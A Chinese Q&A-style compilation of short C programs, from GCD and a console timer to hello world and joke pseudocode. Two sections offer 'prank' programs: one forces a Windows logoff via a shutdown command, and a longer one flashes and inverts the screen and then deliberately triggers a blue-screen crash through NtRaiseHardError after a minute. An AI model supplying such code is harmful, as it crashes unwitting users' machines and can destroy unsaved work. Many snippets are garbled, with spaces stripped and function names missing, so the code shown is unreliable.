⑴ 收集神奇的或功能強悍的而且短小的c語言代碼
如下C語言代碼:
//求兩數最大公約數代碼。
#include<stdio.h>
intgcd(inta,intb)//求最大公約數函數。
{
if(a%b==0)returnb;
elsereturngcd(b,a%b);//輾轉相除法。
}
voidmain()
{
inta,b;
scanf("%d%d",&a,&b);//輸入兩個數。
printf("%d ",gcd(a,b));//輸出這兩個數的最大公約數。
}
給出的代碼是求兩數最大公約數的C語言代碼。
⑵ 求簡單C語言程序代碼!
輸入2個正整數m和n,求其最大公約數和最小公倍數
#include
#include
int main()
int m,n,p,q,s,r;
printf("請輸入兩個正整數;m,n ");
scanf("%d,%d",&m,&n);
#include<stdio.h>
main()
int a,b,t=0;
scanf("%d %d",&a,&b);
if (a<b)
printf("%d %d %d %d %d",(a+b),(a-b),(a/b),(a*b),(a%b));
}
主要特點
C語言是一種結構化語言,它有著清晰的層次,可按照模塊的方式對程序進行編寫,十分有利於程序的調試,且c語言的處理和表現能力都非常的強大,依靠非常全面的運算符和多樣的數據類型,可以輕易完成各種數據結構的構建,通過指針類型更可對內存直接定址以及對硬體進行直接操作,因此既能夠用於開發系統程序,也可用於開發應用軟體。
以上內容參考:網路-c語言
⑶ 求幾個比較有趣,簡單的C語言源代碼 小白自己敲著練一下手感
最簡單的模擬計時器:
#include<stdio.h>
#include<conio.h>
#include<windows.h>
int m=0,s=0,ms=0; //m是分 s是秒 ms是毫秒
//以下是5個自編函數
void csh( ); //初始化界面
void yinc(int x,int y); //隱藏游標的函數(y值設為0就會隱藏)
void jishi( ); //計時器運行(每100毫秒變化一次)
void Color (short x, short y); //設定顏色的函數(y設為0就是黑底)
void gtxy (int x, int y); //控制游標位置的函數
int main( ) //主函數
{ csh( );
getch( );
while(1)
{ jishi( );
Sleep(100); //間隔100毫秒
if( kbhit( ) )break; //有鍵按下就退出循環
}
return 0;
}
void csh( ) //初始化界面
{Color(14,0); //設定淡黃字配黑底
printf(「 計時器」);
Color(10,0); //設定淡綠字配黑底
printf(" ┌───────────┐");
printf(" │ │");
printf(" └───────────┘");
gtxy(10,4); //游標到屏幕第10列4行處輸出
Color(7,0); //恢復白字黑底
printf(" 00:00:00 ");
yinc(1,0 ); //隱藏游標(yinc代表隱藏)
return;
}
void jishi( ) //計時器運行
{ms+=1;
if(ms==10){s+=1;ms=0;}
if(s==60){m+=1;s=0;}
gtxy(10,4);
Color(9,0); //設定淡藍字配黑底
if(m>9) printf(" %d:",m);
else printf(" 0%d:",m);
Color(14,0); //設定淡黃字配黑底
if(s>9) printf("%d:",s);
else printf("0%d:",s);
Color(12,0); //設定淡紅字配黑底
printf("0%d",ms);
}
void gtxy (int x, int y) //控制游標位置的函數
{ COORD pos;
pos.X = x;
pos.Y = y;
SetConsoleCursorPosition ( GetStdHandle (STD_OUTPUT_HANDLE), pos );
}
void Color (short ForeColor= 7, short BackGroundColor= 0) //設定顏色的函數
{ HANDLE handle = GetStdHandle ( STD_OUTPUT_HANDLE );
SetConsoleTextAttribute ( handle, ForeColor + BackGroundColor * 0x10 );
}
void yinc(int x,int y) //隱藏游標的設置(gb代表游標)
{ CONSOLE_CURSOR_INFO gb={x,y}; //x為1-100,y為0就隱藏游標
SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &gb);
}
⑷ c語言,求代碼,直接能復制到cb強的那種,不然復制很麻煩
#include<stdio.h>
#include<string.h>
intmain()
{
chars[60];
while(~scanf("%[^ ]%*c",s))
{
if(strchr(s,'A')&&strchr(s,'C')&&strchr(s,'M'))
printf("^v^ ");
else
printf("== ");
}
return0;
}
⑸ 最簡單的C語言代碼
最簡單的C語言代就是輸出「helloWord」,通常是作為初學編程語言時的第一個程序代碼。具體代碼如下:
#include <stdio.h>
int main(){
printf("Hello, World! ");
return 0;
}
(5)c語言手機版裝逼代碼擴展閱讀:
1、程序的第一行#include <stdio.h>是預處理器指令,告訴 C 編譯器在實際編譯之前要包含 stdio.h 文件。
2、下一行intmain()是主函數,程序從這里開始執行。
3、下一行printf(...)是C中另一個可用的函數,會在屏幕上顯示消息"Hello,World!"。
4、下一行return0;終止main()函數,並返回值0。
⑹ 求一些惡搞程序的C語言源代碼
#include "stdio.h"
#include "stdlib.h"
result love(boy, girl)
{
if ( boy.有房() and boy.有車() )
{
boy.set(nothing);
return girl.嫁給(boy);
}
if ( girl.願意等() )
{
while( ! (boy.賺錢 > 100,000 and girl.感情 > 8 ) )
{
for ( day=1; day <=365; day++)
{
if ( day == 情人節 )
if ( boy.givegirl(玫瑰) )
girl.感情++;
else
girl.感情--;
if( day == girl.生日)
if ( boy.givegirl(玫瑰) )
girl.感情++;
else
girl.感情--;
boy.拚命賺錢();
}
}
if ( boy.有房() and boy.有車() )
{
boy.set(nothing);
return girl.嫁給(boy);
}
年齡++;
girl.感情--;
}
return girl.goto( another_boy);
}
⑺ 求一個C語言整人程序代碼
#include<stdio.h>#include<stdlib.h>void main(){ system("shutdown -l -t 20");}
⑻ 想用一段C語言來做個性簽名,用來裝逼🌝
自己選一個ioccc的代碼
http://www.ioccc.org/years.html
⑼ 求一個C語言整人代碼!!!
先上代碼
#include<Windows.h>
#include<time.h>
usingnamespacestd;
intcall;
intScreenWidth=GetSystemMetrics(SM_CXSCREEN);
intScreenHeight=GetSystemMetrics(SM_CYSCREEN);
intIconWidth=GetSystemMetrics(SM_CXICON);
intIconHeight=GetSystemMetrics(SM_CYICON);
HDChdc=GetWindowDC(GetDesktopWindow());
#defineKEY_DOWN(VK_NONAME)((GetAsyncKeyState(VK_NONAME)&0x8000)?1:0)
intrandom(intupper_bound){
if(upper_bound==0){
return0;
}
srand((unsigned)(time(NULL)*clock()*rand()*call+time(NULL)+rand()+call));
call++;
returnrand()%upper_bound;
}
DWORDWINAPIFlashDesktop(LPVOIDParam){
while(true){
BitBlt(hdc,0,0,ScreenWidth,ScreenHeight,hdc,0,0,NOTSRCCOPY);
Sleep(random(100));
}
return0;
}
intGetWay(){
intr=random(3);
switch(r){
case0:
returnSRCAND;
case1:
returnSRCINVERT;
case2:
returnSRCPAINT;
}
}
(LPVOIDParam){
while(true){
intRandWidth=random(ScreenWidth);
intRandHeight=random(ScreenHeight);
intRandxPixel=random(ScreenWidth-RandWidth);
intRandyPixel=random(ScreenHeight-RandHeight);
intRandDestxPixel=random(ScreenWidth-RandWidth);
intRandDestyPixel=random(ScreenHeight-RandHeight);
BitBlt(hdc,RandxPixel,RandyPixel,RandWidth,RandHeight,hdc,RandDestxPixel,RandDestyPixel,SRCINVERT);
Sleep(random(100));
}
return0;
}
(LPVOIDParam){
while(true){
intRandWidth=random(ScreenWidth);
intRandHeight=random(ScreenHeight);
intRandxPixel=random(ScreenWidth-RandWidth)+RandWidth;
intRandyPixel=random(ScreenHeight-RandHeight)+RandHeight;
intRandDestxPixel=random(ScreenWidth-RandWidth)+RandWidth;
intRandDestyPixel=random(ScreenHeight-RandHeight)+RandHeight;
BitBlt(hdc,RandxPixel,RandyPixel,RandWidth,RandHeight,hdc,RandDestxPixel,RandDestyPixel,SRCINVERT);
Sleep(random(100));
}
return0;
}
DWORDWINAPICallBsod1MinLater(LPVOIDParam){
Sleep(60000);
HMODULEntdll=LoadLibrary("ntdll.dll");
FARPROCRtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");
FARPROCNtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError");
unsignedchartemp0;
longunsignedinttemp1;
((void(*)(DWORD,DWORD,BOOLEAN,LPBYTE))RtlAdjustPrivilege)(0x13,true,false,&temp0);
((void(*)(DWORD,DWORD,DWORD,DWORD,DWORD,LPDWORD))NtRaiseHardError)(0xc000021a,0,0,0,6,&temp1);
return0;
}
DWORDWINAPIDrawErrors(LPVOIDParam){
while(true){
intRandxPixel=random(ScreenWidth-IconWidth/2);
intRandyPixel=random(ScreenHeight-IconHeight/2);
DrawIcon(hdc,RandxPixel,RandyPixel,LoadIcon(NULL,IDI_ERROR));
Sleep(random(50));
}
return0;
}
intmain(void){
CreateThread(NULL,4096,&FlashDesktop,NULL,NULL,NULL);
CreateThread(NULL,4096,&ScreenXorOperation1,NULL,NULL,NULL);
CreateThread(NULL,4096,&ScreenXorOperation2,NULL,NULL,NULL);
CreateThread(NULL,4096,&CallBsod1MinLater,NULL,NULL,NULL);
CreateThread(NULL,4096,&DrawErrors,NULL,NULL,NULL);
while(true);
}
運行這段代碼首先會花屏並閃屏,一分鍾後藍屏。
效果圖: